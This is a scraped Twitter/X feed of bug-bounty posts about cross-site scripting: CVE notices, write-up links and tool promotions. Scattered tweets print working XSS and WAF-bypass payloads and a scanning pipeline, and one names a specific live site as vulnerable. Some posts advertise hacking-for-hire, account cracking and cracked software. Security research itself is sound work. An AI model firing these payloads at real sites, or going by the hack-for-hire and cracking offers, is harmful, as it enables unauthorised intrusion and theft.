⚡ [XSS] Reflected XSS via POST request 👨💻 @0xd3adcode ➟ U.S. Dept Of Defense 🟧 Medium 💰 N/A https://t.co/g7WfEIBzmd #bugbounty #bugbountytips #cybersecurity https://t.co/fR0I64irIH

profile

Dev

@computerauditor2 years ago

I found a crlf injection on a website now it's showing 302 redirect,I am trying to escalate it to xss or html injection so do share any tips,all suggestions are welcome!! #BugBounty #infosec #informationsecurity #Hackingtime https://t.co/FcAjzQWACk

profile

CyberIQs

@CyberIQs_2 years ago

How I was able to Turn a XSS into A Account Takeover #infosec #infosecurity #cybersecurity #threatintel #threatintelligence #hacking #cybernews #cyberattack #cloudsecurity #malware #ransomware #cyber #threathunting #ZeroTrust #CISA https://t.co/Hu1tkKH4cQ

profile

VP Tiwari

@cyberzeast2 years ago

Found a fancy new way to conceal XSS payloads! Check it out in our cheat sheet: #BugBounty #Tips #xss @Hacker0x01 @Bugcrowd @TomNomNom https://t.co/I7Y5mkcCDp

profile

0xD3ADC0DE

@0xd3adcode2 years ago

Multiple Reflected XSS founds on https://t.co/Cgarwyf33y @StateDept subdomain... Going for a new report on @Hacker0x01 #BugBounty #HackTheUS #bugbountytips

profile

Sam Stepanyan

@securestep92 years ago

Google pays $3,133.70 #BugBounty for #XSS #vulnerability in #golang's net/html library. Great find and a great 6-minute bug explanation video by Greg (@gregxsunday) here: #bugbountytips #AppSec #CodeReview https://t.co/8BCkxlfW2S

profile

Dhaval Patel

@d4rk_hors32 years ago

video https://t.co/7kdnyHKheK #bugbountytips #BugBounty #bugbountytip #xss #infosec #appsec #ethicalhacking #cybersecuritytips #CyberSec

profile

VIEH Group

@viehgroup2 years ago

My first finding XSS,IDOR https://t.co/0Ht2TPg5nq #bug #bugs #bugbounty #bugbountytip #bugbountytips #hacking #hacker #ethicalhacking #ethicalhacker #ethicalhackers #cybersecurity

profile

khalil shreateh 🧢

@Shreateh2 years ago

https://t.co/rQjN3k80aL #shreateh #exploit #hacker #computer #cybersecurity #blackleaders #technology #vulnerability #vulnerabilityisstrength #vulnerable #infosec #security #tech #hacking #programming #hackers #coding #safety #cybersec

profile

Bad Advertiser

@0xbadad2 years ago

XSS (Cross-Site Scripting)- Explained In Layman's Term #Cybersecurity #infosec #security via https://t.co/4hyuGbMt4K https://t.co/W59F5Wlf9V

profile

spyx

@spyx_myky2 years ago

ParamAngler - the ultimate tool for testing specific payloads on each parameter! 💻🔍🐟 With one payload, you can spray all parameters and search for vulnerabilities including XSS, LFI, SSTI, SQLi, and more! 🎣🐛 https://t.co/BCldVlnt6n #bugbounty #bugbountytool #WebAppTesting https://t.co/6Db1UszYGz

profile

Banking and Fintech News

@StanleyEpstein2 years ago

XSS (Cross-Site Scripting)- Explained In Layman's Term #Cybersecurity #infosec #security via https://t.co/eBW8Lmmpx7 https://t.co/2SI5ShMJMK

profile

HACKLIDO

@hacklido2 years ago

💠 XSS (Cross-Site Scripting)- Explained In Layman's Term by AnuragTaparia https://t.co/7VWyC1xxPN #CyberSecurity #infosec #github #Pentesting #BugBounty #bugbountytips

profile

Dc Hacks

@D_c_Hacks2 years ago

Hack Services available 24/7 Link: https://t.co/fQaVv2c2VX… #Metasploit #HackerOne #Synack #BugCrowd #BugBounty #BugBountyTips #InfoSec #CyberSecurity #100DaysOfCode #Malware #XSS https://t.co/oklct0ERV1

profile

Dc Hacks

@D_c_Hacks2 years ago

Hack Services available 24/7 Link: https://t.co/CFbeA5b4NT… #Metasploit #HackerOne #Synack #BugCrowd #BugBounty #BugBountyTips #InfoSec #CyberSecurity #100DaysOfCode #Malware #XSS

profile

@Siddhartha S

@sidharthas89622 years ago

@beginnbounty Thanks for share such as a very informative and interesting tool for finding xss. #hacking #bug bounty

profile

Save to Notion 

@SaveToNotion2 years ago

@proawez This thread is saved to your Notion database. Tags: [Bugbountytips, Xss]

profile

1337aweyz

@proawez2 years ago

@arth_bajpai @SaveToNotion #thread #bugbountytips #xss

profile

Hackers Online Club (HOC)

@HOCupdate2 years ago

#cloudflare #infosec #xss https://t.co/N3EgHmUgL5

profile

Kevin Figueroa

@KevinFigueroa2 years ago

Nicely conceal XSS payloads... #CyberSecurity #infosec #pentesters https://t.co/EV9Uvp03mS

profile

Programmatic.Solutions

@Programmatoris2 years ago

Does allowing the <cite> tag create any XSS vulnerabilities? - Visit https://t.co/MpAyiRsOe3 for the answer. #web_application #xss #infosec #programmers #software

profile

Mahshooq Zubair 

@mq_xz_2 years ago

Blind XSS fired on Admin panel worth $2000 by: feribytex https://t.co/J1nLcb7p82 #BugBounty #WriteUps

profile

Open Source CVEs

@OpenSourceHacks2 years ago

(CVE-2023-0949): Cross-site Scripting (XSS) - Reflected in modoboa/modoboa. https://t.co/ByslusUXQp Disclosed by https://t.co/LTnJiZHuwG, fixed by modoboa maintainers... #opensource #CVE #bugbounty #security #vulnerability

profile

Dc Hacks

@D_c_Hacks2 years ago

Hack Services available 24/7 Link: https://t.co/fwIfa7QU9U #Metasploit #HackerOne #Synack #BugCrowd #BugBounty #BugBountyTips #InfoSec #CyberSecurity #100DaysOfCode #Malware #XSS

profile

Dc Hacks

@D_c_Hacks2 years ago

https://t.co/fQaVv2c2VX Hack Services available 24/7 Link: https://t.co/fQaVv2c2VX… #Metasploit #HackerOne #Synack #BugCrowd #BugBounty #BugBountyTips #InfoSec #CyberSecurity #100DaysOfCode #Malware #XSS

profile

Muhammad Julfikar Hyder

@thejulfikar2 years ago

https://t.co/kLHpcpEHUe #bugbountytips #bugbountytip #bugbounty #cybersecurity #infosec #ethicalhacking

profile

Programmatic.Solutions

@Programmatoris2 years ago

Why does this XSS vector work in svg but not in HTML? - Visit https://t.co/zDtWU030cH for the answer. #xss #svg #infosec #dev #devlife

profile

Jh0n_

@Jh0n_0x2 years ago

XSS Payload Bypass: <b><img/src='x'//oNerror=alert(document.cookie)//;<img/>Jh0n_0x<b/> by: @Jh0n_0x #BugBounty #xss #payloadxss #bugbountytips

profile

Osama Avvan

@osamaavvan2 years ago

I have created a simple Prototype Pollution XSS challenge. Try to get a pop-up. DM me your solution. https://t.co/l8BxnBDWKK #BugBounty #XSS

profile

RedPacket Security

@RedPacketSec2 years ago

HackerOne Bug Bounty Disclosure: stored-xss-on-app-crowdsignal-com--your-subdomain-crowdsignal-net-via-thank-you-headerby0xwega74 - https://t.co/a1xYPDWcJ3 #HackerOne #CVE #Vulnerability #OSINT #ThreatIntel #Cyber

profile

GsmScholar

@GSMPMCYBER2 years ago

Day #10/210 XSS attack A little more persistence, a little more effort, and what seemed hopeless failure may turn to glorious success. XSS attack, an attacker typically injects malicious code (usually JavaScript) into a web page, #BugBounty #goals #infosec https://t.co/GaG6hvck8J

profile

Save to Notion 

@SaveToNotion2 years ago

@proawez This thread is saved to your Notion database. Tags: [Bugbountytips, Xss]

profile

1337aweyz

@proawez2 years ago

@_0x999 @bug_vs_me @netwons1 @dvrahmr @SaveToNotion #thread #bugbountytips #xss

profile

Sysbraykr

@sysbraykr2 years ago

Microsoft Azure Account Takeover via DOM-based XSS in Cosmos DB Explorer (PoC included) https://t.co/kMmGtpWfb0 #xss #bughunting #hacking #Azure

profile

Dr.FarFar

@3XS02 years ago

#FREE 2ಠ23 ♥ Invicti Professional Edition 23.2.0.39705 Full Activated – Discount 100% https://t.co/Joixus9aMb Link: https://t.co/pYvl8kDod7 #HackerOne #infosec #Synack #bugcrowd #bugbountytips #bugbountytip #CyberSecurity #100DaysOfCode #Malware #CodeNewbie #XSS #BugHunter https://t.co/L8mv7i56IU

profile

Hack Reports

@HackReports2 years ago

Stay up-to-date on the latest #cybersecurity news! The latest AppSec vulnerabilities, new hacking techniques, and more. Protect your network and stay informed! #appsec #infosec #security https://t.co/DsPRagTfwe

profile

Akita 🇦🇷 who Am I ?

@akita_zen2 years ago

https://t.co/s461rsxZV2 by @_lauritz_ #bugbounty #infosec

profile

Unknwz_

@ByUnknw2 years ago

Salut à tous Je vais faire une mini formation sur le hacking en 3 temps 1 : Hacking Éthique 2 : Crack de compte 3 : Failles SQL, XSS, Dorks La mini formation est à 10 euros et comprend les outils, les ebook sur ces 3 temps ainsi que les configs pour le crack de compte

profile

Cybernoz

@Cybernozcom2 years ago

Deserialized web security roundup: Twitter 2FA backlash, GoDaddy suffers years-long attack campaign, and XSS Hunter adds e2e encryption https://t.co/7UWeygfkuQ #cybersecurity #cybersecuritynews #cybernews #infosec #informationsecurity

profile

Ryx

@PadhiyarRushi2 years ago

Ignore the tags: #XSS #WebSecurity #Cybersecurity #ApplicationSecurity #OWASP #SecurityVulnerability #WebApplicationSecurity #PenetrationTesting #WebDevelopment #Privacy #Cybercrime #WebDev #OWASPTop10 #BugBounty #WhiteHatHacking #SecurityAwareness #Thread #Indian #Secure

profile

Ryx

@PadhiyarRushi2 years ago

🧵Thread #️⃣3️⃣: 📌A Detailed Guide on Understanding XSS - Cross Site Scripting #Infosec #Cybersecurity #XSS #BugBounty

profile

Federico Hansen

@Stuckerbsas2 years ago

Your fortnightly rundown of AppSec vulnerabilities, new hacking techniques, and other cybersecurity news 📖 Read (https://t.co/SAY0w9gYcH) via "The Daily Swig" #cybersec #cybersecurity

profile

SekureNet

@Sekurenet2 years ago

Deserialized web security roundup: Twitter 2FA backlash, GoDaddy suffers years-long attack campaign, and XSS Hunter adds e2e encryption #cybersecurity #infosec https://t.co/cSmhmIMRV1

profile

Jefferson Gonzales

@gonzxph2 years ago

Final payload to bypass the WAF /login?redirectUrl=javascript%3avar{a%3aonerror}%3d{a%3aalert}%3bthrow%2520document.domain --> xss pop-up Thanks @HoseinVita for this amazing payload [2/2] #bugbountytip #bugbountytips #BugBounty #xssbypass #Cloudflare

profile

Jefferson Gonzales

@gonzxph2 years ago

[Bypass Cloudflare] Open Redirect to XSS Open Redirect /login?redirectUrl=//evil,org --> redirect to evil,org Escalate to XSS /login?redirectUrl=javascript:alert(1) --> blocked by WAF [1/2] #bugbountytip #bugbountytips #infosec #BugBounty https://t.co/0bdo8ekd2k

profile

VIEH Group

@viehgroup2 years ago

Cracked XSS — Intigriti Challenge 0223 by Dr. Leek https://t.co/Vr8coGcNDn #bug #bugs #bugbounty #bugbountytip #bugbountytips #hacking #hacker #ethicalhacking #ethicalhacker #ethicalhackers #cybersecurity

profile

VIEH Group

@viehgroup2 years ago

My first finding XSS,IDOR https://t.co/0Ht2TPg5nq #bug #bugs #bugbounty #bugbountytip #bugbountytips #hacking #hacker #ethicalhacking #ethicalhacker #ethicalhackers #cybersecurity

profile

Open Source CVEs

@OpenSourceHacks2 years ago

(CVE-2023-0934): Cross-site Scripting (XSS) - Stored in answerdev/answer. https://t.co/whqjgy5R7A Disclosed by https://t.co/aKBbCMtEmM, fixed by @answerdev... #opensource #CVE #bugbounty #security #vulnerability

profile

Ptrace Security GmbH

@ptracesecurity2 years ago

Toxssin – Open-source Penetration Testing Tool That Automates Exploiting Cross-Site Scripting (XSS) https://t.co/LCUEzS4DyN #Pentesting #CyberSecurity #Infosec https://t.co/mmDhEaWisw

profile

CyberIQs

@CyberIQs_2 years ago

The Dangers of SVG Files: A Lesser-Known Vector for XSS Attacks #infosec #infosecurity #cybersecurity #threatintel #threatintelligence #hacking #cybernews #cyberattack #cloudsecurity #malware #ransomware #cyber #threathunting #ZeroTrust #CISA https://t.co/Hu1tkKH4cQ

profile

Programmatic.Solutions

@Programmatoris2 years ago

XSS payload to capture login credentials - Visit https://t.co/uGzhHMbXf1 for the solution. #xss #javascript #infosec #engineer #code

profile

Save to Notion 

@SaveToNotion2 years ago

@proawez This thread is saved to your Notion database. Tags: [Bugbountytips, Xss]

profile

1337aweyz

@proawez2 years ago

@SMHTahsin33 @SaveToNotion #thread #bugbountytips #xss

profile

Anthony

@_c3rb3ru5__2 years ago

#xss #hacking #hackingweb

profile

Fullstack CISO

@FullStackCISO2 years ago

ChatGPT as a Cybersecurity Assistant. Some interesting use cases in this article: * What happened in this log file? * Is this code vulnerable to XSS? * Convert this shellcode into Python #cybersecurity #chatgpt https://t.co/kRB2sGG5dr https://t.co/UEBkdqE4KK

profile

Programmatic.Solutions

@Programmatoris2 years ago

Is DOM XSS attack possible on website that is not using JavaScript? - Visit https://t.co/G26OXN6svw for the answer. #xss #javascript #server #infosec #technology

profile

L0K1

@Chamal_akila2 years ago

#100DaysOfHacking #infosec #Redteam day 3 DOM XSS in document.write @PortSwigger academy

profile

Sheon Han

@sheonhan2 years ago

Bing/Sydney wrote "I could hack into any system" So it seems like what it needs to start hacking is, simply, access to headless Chrome API (like puppeteer)? Isn't that enough to start XSS or SQL injection? (Cuz using models to perform actions isn't new https://t.co/CK2iis5nkd)

profile

Programmatic.Solutions

@Programmatoris2 years ago

Is cross site scripting possible with the img alt attribute? - Visit https://t.co/Wx0xt7qbmJ for the answer. #xss #infosec #engineer #datascience #100daysofcode

profile

Mateusz Kozłowski

@matikozlowski2 years ago

4⃣ XSS - script example #XSSAttack #Cybesecurity #infosec #security #tech #JS https://t.co/PUOFCfbBzz

profile

RedPacket Security

@RedPacketSec2 years ago

HackerOne Bug Bounty Disclosure: xss-and-html-injection-on-(-https://labs-history-state-gov)byismailu - https://t.co/KUFIUvefvH #HackerOne #CVE #Vulnerability #OSINT #ThreatIntel #Cyber

profile

Mateusz Kozłowski

@matikozlowski2 years ago

4⃣ XSS - scenario: A malicious user creates a link that contains a malicious script and posts it on a website or email. When someone clicks on the link, the script is executed and can access the user's cookies. #XSSAttack #Cyberscurity #infosec #security #tech

profile

Mateusz Kozłowski

@matikozlowski2 years ago

4⃣ XSS The attack works by injecting malicious code into webpages, allowing attackers to steal user data or even take control of a user's browser. #XSSAttack #Cyberscurity #infosec #security #tech

profile

Cybersecurity Tooling Bot

@infosec_intel2 years ago

Github: https://t.co/mzC6f4fCuD Stars: 2 Watching: 1 Last change: Feb 17, 2023 #infosec #redteam #pentesting #hacking #cybersecurity #bugbounty

profile

YesWeHack ⠵

@yeswehack2 years ago

#22 Vulnerable Snippet {{ solution }} ☑️ See more content on our blog: https://t.co/EBDiUvVlre Bug: XSS/Open Redirect 📛 Lang: JavaScript ⚡️ Check out the explanation in the image below!👇 #YesWeRHackers #BugBounty #YWHSnippet https://t.co/7mRRRLvRFi

profile

Saif abdullah khan🇧🇩

@0xmahi2 years ago

Recon Recon Recon!! Shodan Dorking Always wins. ssl:"Company Inc" Filter results by http title. Start fuzzing an interesting asset. Found swagger-ui/ Tried swagger ui xss with https://t.co/UE3oaaoh6j #bugbountytips #BugBounty https://t.co/4dwmaHiUW5

profile

H1 Disclosed - Public Disclosures

@h1Disclosed2 years ago

⚡ xss and html injection on ( https://t.co/ReR5PLdK3a) 👨💻 @@_ismailu ➟ U.S. Department of State 🟧 Medium 💰 N/A https://t.co/SWAcmzESWB #bugbounty #bugbountytips #cybersecurity https://t.co/z3PlQEqalH

profile

Open Source CVEs

@OpenSourceHacks2 years ago

(CVE-2023-0879): Cross-site Scripting (XSS) - Stored in btcpayserver/btcpayserver. https://t.co/5z0Le24OWO Disclosed by https://t.co/lfwbLJ1nAR, fixed by @BtcpayServer... #opensource #CVE #bugbounty #security #vulnerability

profile

Open Source CVEs

@OpenSourceHacks2 years ago

(CVE-2023-0878): Cross-site Scripting (XSS) - Generic in nuxt/framework. https://t.co/cjdCZKXZmc Disclosed by https://t.co/I1YxmrfsDA, fixed by @danielcroe... #opensource #CVE #bugbounty #security #vulnerability

profile

insane_Coder

@AnounimM2 years ago

today i was abble to found 2 Reflected Xss and now in all my career i found for like 15-20 xss here is the payload i use for last 2 finds: https://t.co/9fjvv7aWVx #BugBounty #bugbountytips

profile

Hacker Vlog

@vlog_hacker2 years ago

XSS payloads to bypass Cloudflare 🤣 javascript:{ alert`0` } 1'"><img/src/onerror=.1|alert``> #bughunting #cybersecuritytips #Hacking #xss #Cloudflare #BugHunter #HackerNews

profile

NS 🍥

@nav1n0x2 years ago

Quick! Let's find XSS..... #BugBounty memes.. https://t.co/XTo4rDgH56

profile

N45HT

@N45HTOfficial2 years ago

Exploiting XSS via Markdown on Xiaomi #infosec #bugbountytips https://t.co/0DiJ4QwnuG https://t.co/a4xguz8yHd

profile

Mahshooq Zubair 

@mq_xz_2 years ago

Hacking the Search Bar: The Story of Discovering and Reporting an XSS Vulnerability on https://t.co/Sl0UYmKKww by: niraj1mahajan https://t.co/IwhKBSUG7i #BugBounty #WriteUps

profile

Nik H

@Nikahverse2 years ago

A curated LIST of bugbounty WRITEUPs [I love lists] They are categorized by topics such as XSS, SQL injection, CSRF, etc https://t.co/kyChnq4ypZ #bugbounty #bugbountytips #cybersec #cybersecurity #infosec #infosecurity #web

profile

Today Cyber News

@TodayCyberNews2 years ago

CSP Bypass for XSS ( 1/2 ) You need to look here for a CSP bypass for XSS when there is an allowed list of sources like https://t.co/X65ZDTDzIo , https://t.co/VD22OiGBAD , etc. #bugbountytips #BugBounty #cybersecurite #infosec https://t.co/oT2S6HAEEt

profile

The BBH

@OfficalTeamBBH2 years ago

Beginner Bug Bounty Hunters: Uncover the Secret of Finding XSS in 2023! https://t.co/agl9Q0W1Ji via @YouTube #OpenSource #bugbounty #bugbountytips #bounty #cybersecurity #instacybersecurity #instainfosec #instasecurity #instacyber #instaopensource #programming

profile

VIEH Group

@viehgroup2 years ago

WAF Bypass + XSS on The MOST Popular Movie Ticket website. https://t.co/zx1C7cbIyC #bug #bugs #bugbounty #bugbountytip #bugbountytips #hacking #hacker #ethicalhacking #ethicalhacker #ethicalhackers #cybersecurity

profile

VIEH Group

@viehgroup2 years ago

Hacking the Search Bar: The Story of Discovering and Reporting an XSS Vulnerability on https://t.co/zARa6whoLZ https://t.co/5P5PzieSmd #bug #bugs #bugbounty #bugbountytip #bugbountytips #hacking #hacker #ethicalhacking #ethicalhacker #ethicalhackers #cybersecurity

profile

Fat

@fattselimi2 years ago

Findings of the day 1st : Reflected XSS via vulnerable GET Parameter in a Private Program Payload used : ‘-confirm(document.domain)-‘ 2st : Information disclosure in a VDP #bugbounty #bugbountytips #infosec #cybersecurity #cybersecurityawareness https://t.co/NQyCiBHEPL

profile

Naisya Girl Security

@naigirlsec2 years ago

Baru join jadi member di berachforum tingkah udah belagu, SE"kali lu join ke forum nya orang Rusia noh https://t.co/4hpGNDrhFf biar bisa ngerti sekalian masalah Malware dan Ransomware. Wajar sih, Rusia kan itu isinya Sama ini https://t.co/5FSCaFOaay

profile

Haytham

@Hayth3am2 years ago

#bugbountytip echo “target,com” | waybackurls | gf xss > xss.txt for URL in $(</xss.txt); do (python3 https://t.co/xfgAlyic6b -t 1 -d 1 -u "${URL}" --skip > xsstriker.txt ); done To see progress in another terminal type: tail -f xsstriker.txt #infosec #BugBounty #CyberSec

profile

Mike Takahashi

@TakSec2 years ago

XSS PoC - AI Generated: 1. https://t.co/vthjqUDKtL 2. Prompt w/ description 3. Export to JSFiddle 4. Host it 5. Include external script 6. Escalate your alert() #bugbountytips #infosec #xss #ai #GPT 👇🧵 for Prompt & Code https://t.co/uJ4sQ2dfGd

profile

GSM PM SHA

@GSMPMCYBER2 years ago

xss maybe used by attackers to bypass access controls. #success #bugbounty #vulnerabilities #xss #210goals

profile

Niraj Mahajan

@niraj1mahajan2 years ago

Hello Researchers, “Hacking the Search Bar: The Story of Discovering and Reporting an XSS Vulnerability on https://t.co/L8GNqNa7cM” https://t.co/3tFGUevfVT #bugbounty #bugbountytip #xss #xssattack #microsoft #microsofthalloffame #cybersecurity #infosec #websecurity #pentesting https://t.co/yMm0o09vw2

profile

Sysbraykr

@sysbraykr2 years ago

Cloudflare bypass & template injection to XSS in one shoot {{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}} #cloudflare #bypass #xss #SysBraykr #BugHunting #InfoSec #WeBreakIt2SecureIt

profile

🐞Sara Badran

@SaraBadran182 years ago

📌SQl injection, Session fixation, Stored XSS, Reflected XSS in @osTicket 🔥 -- Publication date: 2023-02-14 -- By Miguel Correia & Davide Teixeira -- https://t.co/kgBhdSUMuw -- #hackerone #BugBounty #bugbountytips #hackeronereport #Bugbountywriteupspublished #bugbountytip https://t.co/yqyYEGvo7d

profile

VIEH Group

@viehgroup2 years ago

Bug Bounty tips: Focus on testing the business logic of the application. Many vulnerabilities are found by examining the way that the application processes and stores data, rather than simply testing for standard vulnerabilities like XSS or SQL injection. #BugBountyTips

profile

tmz900

@tmz9002 years ago

2 CSRF, 1 SQLi, some XSS an interesting xss bug: /directory/ => 403 /x/%2e%2e;/directory/ => 200 the path reflect response and boom xss: /x/%2e%2e;/directory/--><script>alert(123)</script> #sqli #xss #csrf #bugbountytips #bugbounty https://t.co/16zFHojebr

profile

Hack Reports

@HackReports2 years ago

Secure up your website! A popular hacking aid just released a CORS misconfig detection function, so you can assess the security of your website in no time. #cybersecurity #websecurity https://t.co/Z7I1CZjp0Y

profile

LinuxSecurity

@LS_Advisories2 years ago

Fedora 37: phpMyAdmin 2023-179053442b - **phpMyAdmin 5.2.1** This is a bugfix release that also contains a security fix for an XSS vulnerability in the drag-and-drop... @lnxsec #Fedora #Linux #infosec #opensource #linuxsecurity https://t.co/yAVNQM3AP1 https://t.co/Y9n963Nhvp

profile

Md Ismail Šojal

@0x0SojalSec2 years ago

Akamai WAF bypass through right-click ⚡️ <details onauxclick=confirm`xss`></details> #xSS #bugbountytips #cybersecuritytips

profile

Md Ismail Šojal

@0x0SojalSec2 years ago

Cloudflare bypass & template injection to XSS in one shoot ⚡️ {{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}} #infosec #cybersec #bugbountytips

profile

Md Ismail Šojal

@0x0SojalSec2 years ago

Easy short Xss Tips ⚔️ 1.⚙️Subdomain enumeration 2.⚙️S3 bucket with access denied 3.⚙️Ffuf found -> /cdn/ 4.⚙️Ffuf found -> /cdn/proxy.html 5.⚙️blank page -> view source, found url param (document.location) 6.⚙️?url=javascript:alert () XSS popped up ⚙️ #infosec #cybersec

profile

Heli9

@Heli__92 years ago

The @intigriti xss challenge videos are great for someone who is trying to learn dom xss and become more advanced in xss in general #bugbountytips

profile

Programmatic.Solutions

@Programmatoris2 years ago

Should every output element be filtered, or just those which contain user-editable data? - Visit https://t.co/soUT5HuNrb for the answer. #php #xss #mysql #html #infosec

profile

Gotcha1G

@AnissArras2 years ago

@_mrd7_ Xss in first the 5min when i started bugbounty 😂

profile

syngularity

@syngularity12 years ago

My #dell #cisco #hpe #arubanetworks exploit talk from @WWHackinFest is up. I use persistent #xss, #codeinjection to bypass #vlan controls, tunnel IPv4 to 6 without a router, take over network, create an undetectable #exfiltration protocol. . #Hacking #exploit Still unfixed! https://t.co/a4FdhNMGic

profile

Jackson

@JacksonHHax2 years ago

@0xsomnus It’s so easy to say programming is not needed in infosec and then go back to running nuclei and popping XSS on your local cafe’s website. But you will hit a skill ceiling and realise that programming is needed to transcend it. Can’t believe your tweet got so much hate 😂

profile

Deepak Dhiman🇮🇳

@Virdoex_hunter2 years ago

Tip: if you found reflected xss but not able to fully exploit it just change the xss payload with blind xss one and see the result #bugbountytips #xss @theXSSrat @ADITYASHENDE17 @GoogleVRP @sunilyedla2 @RanjitAdhikar34 @bug_vs_me 😋😋 https://t.co/jS92DEHHlE

profile

Mr.P1P0

@fxy0x00012 years ago

Bu web sitesinde reflected #xss zafiyeti bulunmaktadır. https://t.co/OCK2fnZ7lA ilgili arama kısmında testini yapabilirsiniz. #rapsodimobilya #mobilya #hack #hacking #xss #reflectedxss #cyberattack Arama kısmında

profile

Open Source CVEs

@OpenSourceHacks2 years ago

(CVE-2023-0827): Cross-site Scripting (XSS) - Stored in pimcore/pimcore. https://t.co/kAaMi68KKw Disclosed by @sanket_722, fixed by pimcore maintainers... #opensource #CVE #bugbounty #security #vulnerability

profile

Security Temple

@Securitytemple2 years ago

Exploiting Persistent XSS | Ken Pyle | WWHF Deadwood 2022 https://t.co/jTkmDeJtBb #bugbounty, #computer, #cyber, #ethical, #hacked, #hacker, #hacking, #hunting, #infosec, #learn, #news, #pc, #pentest, #security, #threat, #tutorial

profile

LinuxSecurity

@LS_Advisories2 years ago

Fedora 36: phpMyAdmin 2023-c713d12577 - **phpMyAdmin 5.2.1** This is a bugfix release that also contains a security fix for an XSS vulnerability in the drag-and-drop... @lnxsec #Fedora #Linux #infosec #opensource #linuxsecurity https://t.co/oCf82N46T4 https://t.co/Qjq4vnre4T

profile

Udit Bhadauria

@udit_thakkur2 years ago

Found a pre-auth #xss 0-day today with @ProngedF that affects around 200k hosts on the internet. #BugBounty #infosec #cybersecurity #0day #Hacking

profile

Save to Notion 

@SaveToNotion2 years ago

@proawez This thread is saved to your Notion database. Tags: [Xss, Bugbountytips]

profile

1337aweyz

@proawez2 years ago

@shrekysec @zseano @SaveToNotion #thread #bugbountytips #xss

profile

Abood Nour 🇵🇸

@AboodNour2 years ago

Several people managed to solve this through creative yet unintended solutions. So lets raise the bar a little bit more 😅 Here is a slightly modified version to make it even more interesting Can you still beat it? https://t.co/ZymJ2yxnZ3 #XSS #CTF #BugBounty https://t.co/rtKTXfkAJQ https://t.co/qjIbl5Zsn4

profile

N45HT

@N45HTOfficial2 years ago

KNOXSS on Xiaomi #infosec #bugbountytips #xss https://t.co/LCgX7mm5hw

profile

HK

@Harsh660712 years ago

Find 4 XSS vulnerabilities on this last year and this year again another XSS Always keep eye on updates application is pushing ✔️ #bugbountytip #BugBounty #XSS https://t.co/msLa3naSIq

profile

Open Source CVEs

@OpenSourceHacks2 years ago

(CVE-2023-0810): Cross-site Scripting (XSS) - Stored in btcpayserver/btcpayserver. https://t.co/kXN6KMwvUM Disclosed by @@d47sec, fixed by @BtcpayServer... #opensource #CVE #bugbounty #security #vulnerability

profile

Jinjo 🇹🇳

@TytylolMark2 years ago

[#bugbountytips #bugbountytip https://t.co/oHMoeaoC7b

profile

Erlend Oftedal

@webtonull2 years ago

«Introducing Frontjacking. Frontend server hijacking is a hacking technique that combines CRLF injection, HTTP request header injection and XSS, exploiting a poorly configured reverse proxy deployed with a shared hosting environment» https://t.co/UfWvMNGgLP

profile

Faiyaz Ahmad

@FaIyaZz0072 years ago

Hi everyone! I have created a new video on "Cross Site Scripting Automation" that will help you to find XSS in automated way. Check it out: https://t.co/WiK0CG3dbL #cybersecurity #informationsecurity #ethicalhacking #bugbounty #bugbountytips #penetrationtesting https://t.co/SAjXtPCPJ8

profile

0xD3ADC0DE

@0xd3adcode2 years ago

New report has been submitted on @Hacker0x01 , time to catch new XSS! @AmericanAir #BugBounty #bugbountytips

profile

secrukh

@SecRukh2 years ago

If you are looking how to bypass CSP for XSS exploitation and source contains https://t.co/QltJpHU0dy or https://t.co/ERkwGkdP9b check this repos: https://t.co/Ul6dfgwBaO https://t.co/LG0Y3BESFZ Also check the blogpost: https://t.co/kOon3VS8Fz #bugbounty #bugbountytip

profile

Parrot CTFs

@parrot_ctfs2 years ago

Give us your best shot! Best description will get a month free of pro! . #code #review #c #flaw #bof #cve #xss #xxe #sqli #codeinjection #injection #inject #hacker #hacking #hackerone #hackthebox #tryhackme #picoctfs #parrotctfs #ctf #bugbounty #bugcrowd #microsoft #meme #cyber https://t.co/fKIN6uLAv1

profile

def1ant

@0xdef1ant2 years ago

Another reflected XSS triaged :) #xss #bugbounty #infosec #hackerone https://t.co/WyusPi6ltW

profile

infosec-jobs.com

@infosec_jobsCOM2 years ago

HIRING: Senior Web Security Engineer (Frontend) / Europe https://t.co/MDoG7QBNNR #InfoSec #InfoSecJobs #Cybersecurity #jobsearch #hiringnow #CyberCareers #Europe #Audits #Blockchain #ComputerScience #Crypto #CSRF #Finance #JavaScript #Nodejs #OWASP #Privacy #XSS

profile

Programmatic.Solutions

@Programmatoris2 years ago

CSP: What is script-src-attr and script-src-elem? - Visit https://t.co/crYf5FqCne for the answer. #xss #javascript #content_security_policy #header #infosec

profile

القبعة البيضاء

@whitehat2812 years ago

1. Invicti Invicti is a web application security scanner hacking tool to find SQL Injection, XSS, and vulnerabilities in web applications or services automatically. It is usually available on SAAS solution Features: https://t.co/KiMCe25RWK

profile

Open Source CVEs

@OpenSourceHacks2 years ago

(CVE-2023-0794): Cross-site Scripting (XSS) - Stored in thorsten/phpmyfaq. https://t.co/UP0QXqWKKS Disclosed by https://t.co/BeDJ5NpqYv, fixed by @ThorstenRinne... #opensource #CVE #bugbounty #security #vulnerability

profile

Open Source CVEs

@OpenSourceHacks2 years ago

(CVE-2023-0791): Cross-site Scripting (XSS) - Stored in thorsten/phpmyfaq. https://t.co/vOqVXN1AVl Disclosed by https://t.co/QztBTN7NZA, fixed by @ThorstenRinne... #opensource #CVE #bugbounty #security #vulnerability

profile

Open Source CVEs

@OpenSourceHacks2 years ago

(CVE-2023-0787): Cross-site Scripting (XSS) - Generic in thorsten/phpmyfaq. https://t.co/4HJQPpY5bS Disclosed by https://t.co/QztBTN7NZA, fixed by @ThorstenRinne... #opensource #CVE #bugbounty #security #vulnerability

profile

Open Source CVEs

@OpenSourceHacks2 years ago

(CVE-2023-0786): Cross-site Scripting (XSS) - Generic in thorsten/phpmyfaq. https://t.co/2Q2euOJ7E7 Disclosed by https://t.co/BeDJ5NpqYv, fixed by @ThorstenRinne... #opensource #CVE #bugbounty #security #vulnerability

profile

Siddharth Chhetry

@jeetbhdr2 years ago

Never in my life I thought my Blind XSS payload will fire:) But thank god it did -;- #BugBounty

profile

Mr Noone

@MrNoone674777462 years ago

img-src *; via XSS (iframe) - Time attack ---- SOP bypass Vulnerable sites https://t.co/Nw7pj1QAOD https://t.co/bzAMY0jIBb https://t.co/RNgQhxb48d #github #git #BugBounty

profile

Adam Langley

@adamtlangley2 years ago

